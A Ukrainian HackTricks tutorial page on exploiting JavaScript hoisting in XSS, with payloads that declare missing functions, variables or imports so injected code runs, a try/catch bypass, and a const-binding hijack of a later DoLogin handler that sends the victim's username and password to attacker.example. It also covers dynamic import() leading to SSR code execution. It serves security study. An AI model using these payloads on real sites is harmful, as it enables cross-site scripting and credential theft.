JS Hoisting
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
У мові JavaScript існує механізм, відомий як Hoisting, за яким декларації змінних, функцій, класів або import умовно піднімаються на початок їхньої області видимості перед виконанням коду. Цей процес автоматично виконує JavaScript-рушій, який проходить скрипт у кілька проходів.
Під час першого проходу рушій розбирає код для перевірки синтаксичних помилок і перетворює його в абстрактне синтаксичне дерево. Ця фаза включає hoisting — процес, коли певні декларації переміщуються на початок контексту виконання. Якщо фаза парсингу проходить успішно (немає синтаксичних помилок), виконання скрипту продовжується.
Важливо розуміти, що:
- Скрипт має бути вільним від синтаксичних помилок, щоб відбулося виконання. Слід суворо дотримуватися синтаксичних правил.
- Розміщення коду в межах скрипту впливає на виконання через hoisting, хоча виконуваний код може відрізнятися від його текстового подання.
Типи Hoisting
На основі інформації з MDN існує чотири різні типи hoisting в JavaScript:
- Value Hoisting: Дозволяє використовувати значення змінної в її області видимості до рядка її декларації.
- Declaration Hoisting: Дозволяє посилатися на змінну в її області видимості до її декларації без виникнення
ReferenceError, але значення змінної будеundefined. - Цей тип змінює поведінку в межах області видимості через те, що змінна деклараується до фактичної лінії її декларації.
- Побічні ефекти декларації відбуваються до того, як буде виконано решту коду, що її містить.
Детальніше: function declarations демонструють поведінку типу 1. Ключове слово var демонструє поведінку типу 2. Лексичні декларації, які включають let, const і class, показують поведінку типу 3. Нарешті, import statements унікальні тим, що вони піднімаються з одночасною поведінкою типів 1 і 4.
Сценарії
Отже, якщо у вас є сценарії, де можна Inject JS code after an undeclared object is used, ви можете fix the syntax шляхом оголошення цього об’єкта (щоб ваш код виконувався замість викидання помилки):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Інші сценарії
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
Hoisting для обходу обробки винятків
Коли sink загорнуто в try { x.y(...) } catch { ... }, ReferenceError зупинить виконання до запуску вашого payload. Ви можете попередньо оголосити відсутній ідентифікатор, щоб виклик пройшов і ваша injected expression виконалася першою:
// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)
// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //
function x(){} is hoisted before evaluation, so the parser no longer throws on x.y(...); prompt() виконується до того, як y буде розв’язано, після чого, вже після виконання вашого коду, викидається TypeError.
Передбачте пізніші декларації, заблокувавши ім’я за допомогою const
Якщо ви можете виконатися до того, як на верхньому рівні function foo(){...} буде розібрано, оголошення лексичного зв’язування з тим самим ім’ям (наприклад, const foo = ...) запобіжить тому, що пізніша декларація функції повторно прив’яже цей ідентифікатор. Це можна використати в RXSS для захоплення критичних обробників, визначених пізніше на сторінці:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
Notes
- Це залежить від порядку виконання та глобальної (на верхньому рівні) області видимості.
- Якщо ваш payload виконується всередині
eval(), пам’ятайте, щоconst/letвсерединіevalмають блочну область видимості і не створять глобальних прив’язок. Вставте новий<script>елемент з кодом, щоб встановити справжній глобальнийconst.
Динамічний import() зі специфікаторами, керованими користувачем
Додатки, відрендерені на сервері, іноді пересилають введення користувача в import() для lazy-load компонентів. Якщо присутній loader, такий як import-in-the-middle, з указаного специфікатора генеруються wrapper-модулі. Hoisted import evaluation завантажує і виконує модуль, контрольований атакуючим, до того, як виконаються наступні рядки, що дозволяє RCE в SSR-контекстах (див. CVE-2023-38704).
Інструменти
Сучасні сканери почали додавати явні hoisting payloads. KNOXSS v3.6.5 містить тест-кейси “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” та “Hoisting Override”; запуск його проти RXSS-контекстів, які кидають ReferenceError/TypeError, швидко виявляє кандидатів на гаджети, що базуються на hoisting.
Джерела
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- XSS Exception Bypass using Hoisting (ch4n3, 2023)
- KNOXSS coverage – hoisting override cases
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


